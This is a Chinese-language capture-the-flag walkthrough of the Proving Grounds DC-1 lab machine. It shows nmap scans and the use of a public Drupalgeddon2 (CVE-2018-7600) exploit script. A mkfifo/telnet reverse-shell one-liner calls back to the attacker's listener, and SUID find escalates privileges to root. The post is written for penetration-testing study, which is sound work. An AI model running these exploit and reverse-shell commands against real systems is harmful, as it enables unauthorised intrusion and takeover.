Proving Grounds Play DC-1 Walkthrough
前言
本文,我们将利用一个公开的漏洞利用程序,通过攻击存在漏洞的 Web 应用程序来获取目标系统的访问权限。随后,我们将通过查找并利用 SUID 二进制文件来提升权限,从而在目标系统上获得 root 级访问权限。
注意:本文仅探讨解题方法,所述技术严禁用于任何非法网络行为
枚举
首先使用nmap进行信息收集。
nmap
起手式:nmap,探测存活端口。发现22,80,111,50881端口是开放的。
sudo nmap -sT 192.168.208.193 -p- --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 02:58 EDT
Warning: 192.168.208.193 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.208.193
Host is up (0.091s latency).
Not shown: 49272 filtered tcp ports (no-response), 16259 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
50881/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 75.07 seconds
获取存活端口后,下一步自然是对这些端口进行全面扫描,以获取服务版本、系统类型及操作系统等详细信息。
sudo nmap -sV -A -O 192.168.208.193 -p 22,80,111,50881 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 03:00 EDT
Nmap scan report for 192.168.208.193
Host is up (0.087s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36890/udp6 status
| 100024 1 50881/tcp status
| 100024 1 51191/tcp6 status
|_ 100024 1 58900/udp status
50881/tcp open status 1 (RPC #100024)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 - 3.13 (98%), Linux 2.6.32 - 3.10 (98%), Linux 3.10 - 4.11 (96%), Linux 3.2 - 4.(Linux 3.X) (95%), Olivetti 65C-9 printer (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 85.05 ms 192.168.45.1
2 84.98 ms 192.168.45.254
3 86.90 ms 192.168.251.1
4 85.06 ms 192.168.208.193OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.71 seconds
通过以上信息得知,目标操作系统为: Debian Linux;22端口上部署着OpenSSH 6.0p1;80端口上部署有Apache httpd 2.2.22。
WEB 枚举
侧重点一样放在攻击面更大的WEB应用系统上。我们访问80端口上的应用系统,发现目标Web服务器上托管着Drupal CMS。

结合nmap得扫描结果可以得知Drupal CMS 7。并且访问了robots.txt中的目录没有发现什么有价值的信息。
突破边界
不过Drupal CMS 7存在一个RCE漏洞。
CVE-2018-7600:Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
首先将exploit保存到本地,然后执行exploit,获取一个反向shell。
wget https://github.com/pimps/CVE-2018-7600/raw/refs/heads/master/drupa7-CVE-2018-7600.py
python drupa7-CVE-2018-7600.py -c id http://192.168.208.193
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-VobDXe96d8cMIyG6U6-VqHQdyJ0LCdd1AFWn3KX5ZEI
[*] Triggering exploit to execute: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
本地开启一个侦听端口,用来接收反向shell。
nc -nvlp 4444
发现可以成功执行系统命令,那么接下来我们就需要获取一个系统的shell了。
python drupa7-CVE-2018-7600.py -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.45.196 4444 > /tmp/f' http://192.168.208.193
远程包含payload。成功突破边界获取到目标主机的shell。
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.208.193] 35093
/bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 1: Trying: not found
$ /bin/sh: 2: Connected: not found
$ /bin/sh: 3: Escape: not found
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
提权
获取到目标主机权限后,首先升级下我们的终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
SUID
检查操作系统哪些二进制文件具有SUID权限,然后我们发现了find命令,那么就可以利用find的SUID权限进行提权。
find . -exec /bin/bash -p \; -quit
find . -exec /bin/bash -p \; -quit
bash-4.2# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
bash-4.2# whoami
whoami
root
bash-4.2#
这意味着我们可以直接提权至root。
总结
本文演示了针对Debian Linux系统的渗透测试过程。攻击者首先通过nmap扫描发现目标开放22、80等端口,运行Drupal 7 CMS。利用CVE-2018-7600漏洞获取www-data权限的反向shell,随后发现find命令具有SUID权限,通过执行find提权命令成功获取root权限。整个攻击过程展现了从信息收集、漏洞利用到权限提升的完整链条,揭示了系统配置不当和未及时修补漏洞的安全风险。
更多推荐
所有评论(0)